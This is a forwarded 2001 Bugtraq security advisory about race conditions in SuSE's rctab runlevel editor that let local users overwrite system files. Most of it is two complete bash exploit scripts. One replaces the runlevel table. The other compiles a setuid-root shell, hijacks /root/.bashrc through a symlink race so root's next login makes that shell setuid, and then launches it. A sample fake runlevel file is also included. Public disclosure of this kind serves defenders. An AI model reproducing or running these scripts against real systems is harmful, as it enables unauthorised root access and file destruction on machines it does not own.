This is a forwarded message From: Paul Starzetz <paul@starzetz.de> To: bugtraq@securityfocus.com <bugtraq@securityfocus.com> Date: Saturday, January 13, 2001, 9:15:51 PM Subject: Serious security flaw in SuSE rctab ===8<==============Original message text=============== Hi @ll, it seems that the problem described below has not been discussed on Bugtraq. Problem description ------------------- Due to a various race conditions in the init level editing script /sbin/rctab it is possible for any local user to overwrite any system's file with arbitrary data. This may result in denial of service attack, local or even remote root compromise, if root runs the /sbin/rctab script. Details ------- The /sbin/rctab script doesn't check for links writing the temporary rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't chown'ed root. Because the PID of the rctab script can be guessed (or looked up, however), any local user can replace the temporary rctmp file with arbitrary content. This can be exploited in one of the following manners: a) local user replaces the rctmp with his own, resulting in enabling/disabling any valid service listed in /sbin/init.d directory. This may lead to a system running a vulnerable service after the runlevel has been switched, resulting in further remote root compromise. b) local user force the rctab script to write the content of rctmp file to any other system's file including /etc/passwd or /etc/shadow. This results in denial of service too. c) local user trick the rctab script to write the contents of rctmp file predecessed by some arbitrary data to some sensitive system file. In conjunction with any sort of shell script executed by the root user and the 'in here documents' it is possible to run any command inside the attacked shell script. d) ...and much more Vulnerable Systems ------------------ At least SuSE 6.1-7.0, maybe other systems using rctab. Exploit ------- Attached 2 exploits rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present, root runs crontab -e and saves the changes after changing something in the runlevel table _and_ login again. (Yes, in some cases the script will fail ;-) changerc.sh: replaces system's inittable with an arbitrary one (assuming rctab -e is run too) IhaQueR. ----------------------------------------------------------------- so now the scripts: [changerc.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC="/tmp/fakerc" RCTMPDIR="rctmpdir" RCTMP="rctmp" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| rctab exploit |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 700 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for root to finish editing sleep 4 declare -i vipid vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` echo " root is editing now at $vipid, wait for $rcfile" pfile="/proc/$vipid" while test -d $pfile do echo -n >/dev/null done rm -rf $rcfile cp $FAKERC $rcfile echo "[+] gotcha!" echo " installed new rctab from $FAKERC" ----------------------------------------------------------------- [rcshell.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC=/tmp/fakerc RCTMPDIR="rctmpdir" RCTMP="rctmp" WRITETO="/root/.bashrc" SUSH="/tmp/sush" # what we want to write to $WRITETO (oops...) declare -i idx idx=0 rchead="" while test "$idx" -lt 128 ; do rchead="$rchead " idx=$(($idx+1)) done rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null <<_DUPA_" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| local rctab root exploit |" echo "| you would need luck |" echo "| and an admin stupid enough |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # test sys awkl=$(which awk) if test -x $awkl ; then echo "[+] awk found" else echo "[-] awk not found, edit this script :-)" exit 1 fi if test -r /sbin/rctab ; then echo "[+] rctab found" else echo "[-] rctab not found, sorry" exit 1 fi # make suid shell echo "[+] compiling suid shell" cat << _DUPA_ >/tmp/sush.c #include <stdio.h> main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh", argv); } _DUPA_ # compile shell gcc /tmp/sush.c -o $SUSH # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 000 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" # append our cmd echo >$rcfile "$rchead" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for editor declare -i vipid vipid=0 while [ $vipid -lt 1 ] do vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` done echo " root is editing now at pid $vipid, wait for writing $rcfile" sleep 1 pfile="/proc/$vipid" # relink declare -i lcnt lcnt=$(wc -l $rcfile|awk '{print $1-2 }') tail -n$lcnt $rcfile >$rcfile.new rm -rf $rcfile ln -sf $WRITETO $rcfile if test -r "$WRITETO" ; then md=$(cat $WRITETO|md5sum) fi if test -r $WRITETO ; then ac=$(ls -l --full-time $WRITETO) else ac="none" fi # wait for root to write rctab or exit while test -d $pfile do if test -r "$WRITETO" ; then oc="$(ls -l --full-time $WRITETO)" if test "$ac" != "$oc" ; then echo "[+] $WRITETO replaced" break fi fi done rm -rf $rcfile; ln -s $rcfile.new $rcfile if test "$md" = "$(cat $WRITETO|md5sum)" ; then echo "[-] bashrc not changed, sorry" exit 2 else echo "[+] gotcha! wait for root to login" fi # now wait for root to login :-) while test -O $SUSH ; do sleep 1 done echo "[+] suid shell at $SUSH" sleep 1 $SUSH ----------------------------------------------------------------- [sample fakerc] # # Generated by rctab: Fri Jan 12 21:02:40 CET 2001 # # Special scripts # # halt -- only for runlevel 0 # reboot -- only for runlevel 6 # single -- only for single user mode # # Remaining services # # apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm # halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named network # nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route routed # rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd xntpd # ypclient yppasswdd ypserv ypxfrd # Runlevel:1 Runlevel:2 Runlevel:3 Runlevel:4 Runlevel:5 kerneld kerneld kerneld - - serial serial serial - - dummy dummy dummy - - syslog network network - - boot.setup firewall firewall - - gpm masquerade masquerade - - kbd route route - - random cipe cipe - - - rpc rpc - - - argus argus - - - nfs nfs - - - scanlogd scanlogd - - - syslog syslog - - - boot.setup boot.setup - - - routed routed - - - named named - - - quota quota - - - nfsserver nfsserver - - - pcnfsd pcnfsd - - - quotad quotad - - - yppasswdd yppasswdd - - - ypserv ypserv - - - ypxfrd ypxfrd - - - ypclient ypclient - - - autofs autofs - - - apache apache - - - at at - - - gpm inetd - - - inetd inn - - - inn ipfwadm - - - ipfwadm ircd - - - ircd kbd - - - kbd lpd - - - lpd ntopd - - - ntopd random - - - random rinetd - - - rinetd rwhod - - - rwhod sendmail - - - sendmail smb - - - smb squid - - - squid sshd - - - sshd xinetd - - - xinetd xntpd - - - xntpd cron - - - cron xdm - - - pings - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ===8<===========End of original message text=========== what about this? Wednesday, January 17, 2001 -- vladimir m. bondarev, icq uin: 62393277 paradox team web: http://scene.org.ru